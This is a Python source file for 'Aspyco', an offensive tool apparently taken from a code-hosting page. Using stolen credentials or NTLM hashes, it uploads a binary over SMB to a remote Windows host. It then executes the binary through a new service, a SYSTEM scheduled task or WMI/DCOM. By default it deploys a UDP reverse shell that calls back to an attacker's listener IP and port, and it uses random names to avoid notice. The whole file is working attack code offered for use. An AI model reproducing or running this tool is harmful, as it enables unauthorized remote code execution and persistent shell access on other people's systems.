282 lines
13 KiB
Python
282 lines
13 KiB
Python
#!/usr/bin/env python3
|
|
#
|
|
# Aspyco
|
|
#
|
|
# V 1.1
|
|
#
|
|
# Copyright (C) 2022 Les tutos de Processus. All rights reserved.
|
|
#
|
|
#
|
|
# Description:
|
|
# This tool permits to upload a local binary through SMB on a remote host.
|
|
# Then it remotely connects to svcctl named pipe through DCERPC to create
|
|
# and start the binary as a service.
|
|
# A silent reverse shell can be deployed in that way.
|
|
#
|
|
# Author:
|
|
# Processus (@ProcessusT)
|
|
#
|
|
|
|
import socket, sys, time
|
|
import os
|
|
import socket
|
|
import argparse
|
|
import logging
|
|
import traceback
|
|
from impacket.examples import logger
|
|
from impacket.examples.utils import parse_target
|
|
from impacket.smbconnection import SMBConnection
|
|
from impacket.dcerpc.v5 import transport, scmr, tsch
|
|
from impacket.uuid import uuidtup_to_bin
|
|
import random
|
|
import string
|
|
import requests
|
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
from impacket.dcerpc.v5.dcom import wmi
|
|
from impacket.dcerpc.v5.dtypes import NULL
|
|
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
|
|
|
|
|
|
|
print(" _ __ ___ __ __ __ _ \n / \ / _|| o \\ V / / _| / \ \n| o |\_ \| _/ \ / ( (_ ( o )\n|_n_||__/|_| |_| \__| \_/ \n \nby Proc :)\n\n")
|
|
|
|
class inject_venom():
|
|
def run(self, username, password, domain, lmhash, nthash, target, payload, listener_port, listener_ip, method, preferredDialect):
|
|
try:
|
|
# generate a random name for our payload
|
|
letters = string.ascii_lowercase
|
|
randName = ''.join(random.choice(letters) for i in range(8))
|
|
randName = randName+".exe"
|
|
withoutpayload = False
|
|
if payload == '':
|
|
if listener_port == '' or listener_ip == '' or listener_ip is None or listener_port is None:
|
|
print("Listener ip address and port should be specified if no custom payload is selected !")
|
|
sys.exit()
|
|
withoutpayload = True
|
|
payload = randName
|
|
print("Custom payload not detected, trying to download a reverse shell to " + str(listener_ip))
|
|
# get csharp UDP reverse shell from official repo
|
|
# you can compile it yourself for more security : https://raw.githubusercontent.com/ProcessusT/Aspyco/udp_reverse_shell.cs
|
|
os.system("cp ./udp_reverse_shell.exe ./" + randName)
|
|
#URL = "https://github.com/ProcessusT/Aspyco/raw/main/udp_reverse_shell.exe"
|
|
#response = requests.get(URL)
|
|
#open(randName, "wb").write(response.content)
|
|
|
|
# upload payload on c$ remote share
|
|
print("Uploading file with random name \"" + str(randName) + "\" to remote host " + target + "...")
|
|
fake_computer_name = ''.join(random.choice(letters) for i in range(8))
|
|
smbClient = SMBConnection(target, target, myName=fake_computer_name, preferredDialect=preferredDialect)
|
|
smbClient.login(username, password, domain, lmhash, nthash)
|
|
if smbClient.connectTree("c$") != 1:
|
|
raise
|
|
f = open(payload, "rb")
|
|
smbClient.putFile("C$", "\\" + randName, f.read)
|
|
print('File uploaded.')
|
|
# if we take aspyco udp reverse shell we need a config file
|
|
if withoutpayload == True:
|
|
print("Uploading config file too...")
|
|
config_content = str(listener_ip) + "\n" + str(listener_port)
|
|
f = open("cfg.ini", "w+")
|
|
f.write(config_content)
|
|
f.close()
|
|
f = open("cfg.ini", "r")
|
|
smbClient.putFile("C$", "\\cfg.ini", f.read)
|
|
print("Uploaded.")
|
|
|
|
match method:
|
|
case "DCOM":
|
|
print("Triggering payload with DCOM method...")
|
|
# COM initialization
|
|
dcom = DCOMConnection(target, username, password, domain, lmhash, nthash)
|
|
# Create the required interface instance
|
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
|
# Connect to the management services interface in a particular namespace
|
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
|
# Retrieve Processes management
|
|
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
|
# Launch our payload
|
|
win32Process.Create( 'C:\\' + str(randName) , str('C:\\') , None)
|
|
print("Check your listener !")
|
|
iWbemLevel1Login.RemRelease()
|
|
dcom.disconnect()
|
|
sys.exit()
|
|
case "DCERPC-SVCCTL":
|
|
print("Triggering payload with DCERPC-SVCCTL method...")
|
|
# We prepare a DCERPCStringBinding object that permits to define transport type (TCP, HTTP, Named pipe...etc)
|
|
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % target)
|
|
# We add our creds for the named pipe connection
|
|
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
|
# We instanciate a DCERPCTransport object for transport
|
|
# This function returns a DCERPC_v5 object with our custom options
|
|
dce = rpctransport.get_dce_rpc()
|
|
# We connect to our named pipe
|
|
logging.info("Connecting to remote named pipe %s" % r'ncacn_np:%s[\pipe\svcctl]' % target)
|
|
dce.connect()
|
|
# We connect to the UUID or the RPC named pipe to call its functions
|
|
print("connecting through RPC to UUID " + str(scmr.MSRPC_UUID_SCMR))
|
|
# Bind to service manager UUID
|
|
dce.bind(scmr.MSRPC_UUID_SCMR)
|
|
# We open service manager through our connection and retrieve a handle on it
|
|
resp = scmr.hROpenSCManagerW(dce)
|
|
scHandle = resp['lpScHandle']
|
|
# We generate a new random string to create our service
|
|
letters = string.ascii_lowercase
|
|
lpServiceName = ''.join(random.choice(letters) for i in range(8))
|
|
print("Creating new service with random name \"" + lpServiceName + "\" on remote target...")
|
|
lpBinaryPathName="C:\\"+randName
|
|
# We create a service on remote host to launch our payload
|
|
resp = scmr.hRCreateServiceW(dce, scHandle, lpServiceName, lpServiceName, lpBinaryPathName=lpBinaryPathName, dwStartType=scmr.SERVICE_DEMAND_START)
|
|
service = resp['lpServiceHandle']
|
|
# We start the service
|
|
print("Starting service \"" + lpServiceName + "\" on remote host...")
|
|
scmr.hRStartServiceW(dce, service)
|
|
print("Check your listener !")
|
|
dce.disconnect()
|
|
case "DCERPC-ATSVC":
|
|
print("Triggering payload with DCERPC-ATSVC method...")
|
|
# We prepare a DCERPCStringBinding object that permits to define transport type (TCP, HTTP, Named pipe...etc)
|
|
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\atsvc]' % target)
|
|
# We add our creds for the named pipe connection
|
|
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
|
# We instanciate a DCERPCTransport object for transport
|
|
# This function returns a DCERPC_v5 object with our custom options
|
|
dce = rpctransport.get_dce_rpc()
|
|
# We connect to our named pipe
|
|
logging.info("Connecting to remote named pipe %s" % r'ncacn_np:%s[\pipe\atsvc]' % target)
|
|
dce.connect()
|
|
# Task scheduler need more secure authentication than svcctl
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
# We connect to the UUID or the RPC named pipe to call its functions
|
|
print("connecting through RPC to UUID " + str(tsch.MSRPC_UUID_TSCHS))
|
|
# Bind to service manager UUID
|
|
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
|
# Creating a new scheduled task in xml format to launch our payload
|
|
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
|
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
|
<RegistrationInfo>
|
|
<Description>Proc Aspyco</Description>
|
|
</RegistrationInfo>
|
|
<Triggers>
|
|
<CalendarTrigger>
|
|
<StartBoundary>2012-10-09T17:06:42.435+05:30</StartBoundary>
|
|
<Enabled>true</Enabled>
|
|
<ScheduleByDay>
|
|
<DaysInterval>1</DaysInterval>
|
|
</ScheduleByDay>
|
|
</CalendarTrigger>
|
|
</Triggers>
|
|
<Principals>
|
|
<Principal id="Author">
|
|
<UserId>S-1-5-18</UserId>
|
|
<RunLevel>LeastPrivilege</RunLevel>
|
|
</Principal>
|
|
</Principals>
|
|
<Settings>
|
|
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
|
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
|
|
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
|
|
<AllowHardTerminate>true</AllowHardTerminate>
|
|
<StartWhenAvailable>false</StartWhenAvailable>
|
|
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
|
<IdleSettings>
|
|
<Duration>PT10M</Duration>
|
|
<WaitTimeout>PT1H</WaitTimeout>
|
|
<StopOnIdleEnd>true</StopOnIdleEnd>
|
|
<RestartOnIdle>false</RestartOnIdle>
|
|
</IdleSettings>
|
|
<AllowStartOnDemand>true</AllowStartOnDemand>
|
|
<Enabled>true</Enabled>
|
|
<Hidden>false</Hidden>
|
|
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
|
<WakeToRun>false</WakeToRun>
|
|
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
|
|
<Priority>1</Priority>
|
|
</Settings>
|
|
<Actions Context="Author">
|
|
<Exec>
|
|
<Command>%s</Command>
|
|
<Arguments></Arguments>
|
|
</Exec>
|
|
</Actions>
|
|
</Task>
|
|
""" % ("C:\\" + str(randName))
|
|
tmpFileName = ''.join(random.choice(letters) for i in range(8))
|
|
print("Creating scheduled task with custom name " + str(tmpFileName))
|
|
tsch.hSchRpcRegisterTask(dce, '\\' + tmpFileName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
|
print("Starting task...")
|
|
tsch.hSchRpcRun(dce, '\\' + tmpFileName)
|
|
print("Check your listener !")
|
|
case _:
|
|
print("Method not found.")
|
|
sys.exit()
|
|
except Exception as e:
|
|
print ("ERROR :")
|
|
print(e)
|
|
sys.exit()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def init_logger(args):
|
|
logging.getLogger().setLevel(logging.INFO)
|
|
logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(add_help=True, description="Upload and start your custom payloads remotely !")
|
|
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
|
parser.add_argument('-payload', action='store', help='Your custom binary file')
|
|
parser.add_argument('-listener_ip', action='store', help='Listener ip address if no custom payload is specified')
|
|
parser.add_argument('-listener_port', action='store', help='Listener port if no custom payload is specified')
|
|
parser.add_argument('-smb2', action='store', help='Force SMBv2')
|
|
parser.add_argument('-method', action='store', help='{"DCERPC-SVCCTL", "DCERPC-ATSVC", "DCOM"} - Default : DCERPC-SVCCTL')
|
|
parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
|
options = parser.parse_args()
|
|
|
|
init_logger(options)
|
|
|
|
domain, username, password, remoteName = parse_target(options.target)
|
|
|
|
if domain is None:
|
|
domain = ''
|
|
|
|
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
|
from getpass import getpass
|
|
password = getpass("Password:")
|
|
|
|
if options.hashes is not None:
|
|
lmhash, nthash = options.hashes.split(':')
|
|
else:
|
|
lmhash = ''
|
|
nthash = ''
|
|
|
|
if options.payload is None:
|
|
payload = ''
|
|
listener_ip = options.listener_ip
|
|
listener_port = options.listener_port
|
|
else:
|
|
payload = options.payload
|
|
listener_ip = ""
|
|
listener_port = ""
|
|
|
|
if options.method is None:
|
|
method="DCERPC-SVCCTL"
|
|
else:
|
|
method = options.method
|
|
|
|
if options.smb2 is True:
|
|
preferredDialect = SMB2_DIALECT_002
|
|
else:
|
|
preferredDialect = None
|
|
|
|
c = inject_venom()
|
|
dce = c.run(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, target=remoteName, payload=payload, listener_port=listener_port, listener_ip=listener_ip, method=method, preferredDialect=preferredDialect)
|
|
sys.exit()
|
|
|
|
if __name__ == '__main__':
|
|
main() |